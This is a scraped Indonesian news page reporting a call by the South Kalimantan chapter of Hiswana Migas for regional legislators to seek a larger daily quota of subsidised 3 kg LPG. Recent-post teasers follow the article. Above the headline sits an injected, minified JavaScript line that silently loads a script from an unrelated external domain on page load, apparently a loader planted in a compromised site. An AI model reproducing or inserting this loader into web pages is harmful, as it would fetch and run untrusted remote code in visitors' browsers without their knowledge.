(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

Tak Peka Kelangkaan ‘Si Melon”, Wakil Rakyat Kalsel Harusnya Perjuangkan Kuota


BANJARMASIN, Jumlah kuota ‘Si melon’ alias LPG 3 Kg di Kalsel tak pernah bertambah secara signifikan. Akibat jumlah permintaan yang terus bertambah, sementara kuota tak juga ditambah, diyakini menjadi pemicu kelangkaan Liquified Petroleum Gas (LPG) 3 Kg di Kalsel terus berulang-ulang terjadi.

Ketua Dewan Pimpinan Daerah Himpunan Wiraswasta Nasional Minyak dan Gas Bumi (DPD Hiswana Migas) Kalsel H Saibani meminta para wakil rakyat asal Banua yang duduk di Senayan, bisa serius dalam memperjuangkan penambahan kuota LPG 3 Kg di Kalsel.

Menurut H Saibani, kuota LPG 3 Kg yang ada disediakan oleh pemerintah untuk Kalsel sekarang yakni sebesar 350 metrik ton perhari, sudah tidak relevan lagi dengan kebutuhan masyarakat Kalsel.

“Tiap tahunnya jumlah masyarakat kita bertambah. Kemudian pebisnis klontongan yang juga ikut memakai LPG 3 Kg juga kini semakin banyak. Jadi tentu melihat kenyataan tersebut kuota LPG 3 Kg mau tidak mau suplainya pun harus ditambah,” tegasnya, Minggu (9/9).

Idealnya tiap tahun di Kalsel, minimal ada penambahan LPG 3 Kg sebesar 7 persen dari jumlah kuota sebelumnya. Jika hal tersebut bisa dilakukan dirinya optimis persoalan kenaikan harga dan kelangkaan LP3 Kg yang menjadi masalah menahun bisa teratasi.

“Kelangkaan yang ada sekarang ini kan sebenarnya akar masalahnya adalah tidak imbangnya persediaan dengan kebutuhan LPG 3 Kg di Kalsel. Kebutuhannya terus naik, sementara persediannya tidak mengalami kenaikan,” jelasnya.

Karena itulah, ia pun kembali berharap disisa masa tugas para wakil rakyat asal Kalsel yang tinggal satu tahun, hendaknya bisa dimanfaatkan secara baik oleh mereka untuk bisa memperjuangkan salah satu kebutuhan mendasar masyarakat Kalsel, khususnya masyarakat menengah kebawah.

Selama ini dilihatnya wakil rakyat asal Kalsel yang berada di Senayan terkesan cuek terhadap masalah kuota LPG 3 Kg yang ada di Banua. Padahal dengan fungsi yang dimilikinya, mereka bisa mendesak Kementrian ESDM untuk menambah kuota LPG 3 Kg untuk masyarakat Banua.

“Tidak usah terlalu muluk, cukup disamakan saja kuotanya dengan Kaltim sebesar 400 metrik ton perhari, tentunya akan sangatlah besar manfaatnya bagi masyarakat Kalsel,” pungkasnya. (arief)

Reporter : Arief
Editor : Abi Zarrin Al Ghifari

Desy Arfianty

Recent Posts

Juara Umum di MTQ Provinsi, Ketua LPTQ Banjar Pastikan Bonus bagi Pemenang

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More

40 menit ago

Pungut Sampah Suporter Timnas Pasca Nobar di Balai Kota Banjarbaru

KANALKALIMANTAN.COM, BANJARBARU - Suporter setia Timnas Indonesia di Kota Banjarbaru Kalimantan Selatan (Kalsel) kompak membersihkan… Read More

2 jam ago

Sah! Ini Nama 45 Calon Terpilih Anggota DPRD Kabupaten Banjar 2024-2029

Golkar dan Gerindra Masing-masing 8 Kursi, PDIP, Partai Gelora, dan PBB Kebagian 1 Kursi Read More

3 jam ago

Tok! KPU Banjarbaru Sahkan 30 Calon Terpilih Anggota DPRD Kota Banjarbaru, Ini Daftar Lengkapnya

13 Kursi Diisi Pendatang Baru, 17 Petahana Bertahan di Gedung Dewan Read More

6 jam ago

Buka Musrenbang RPJD 2025 – 2045, Ini Harapan Bupati Banjar

KANALKALIMANTAN.COM, MARTAPURA - Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar menggelar Musrenbang… Read More

14 jam ago

Mahasiswa Prodi Gizi Belajar Penyelesaian Sengketa Medis di RSD Idaman

KANALKALIMANTAN.COM, BANJARBARU - Sebanyak 49 mahasiswa Diploma III Program Studi Gizi Poltekkes Kemenkes Banjarmasin melaksanakan… Read More

16 jam ago

This website uses cookies.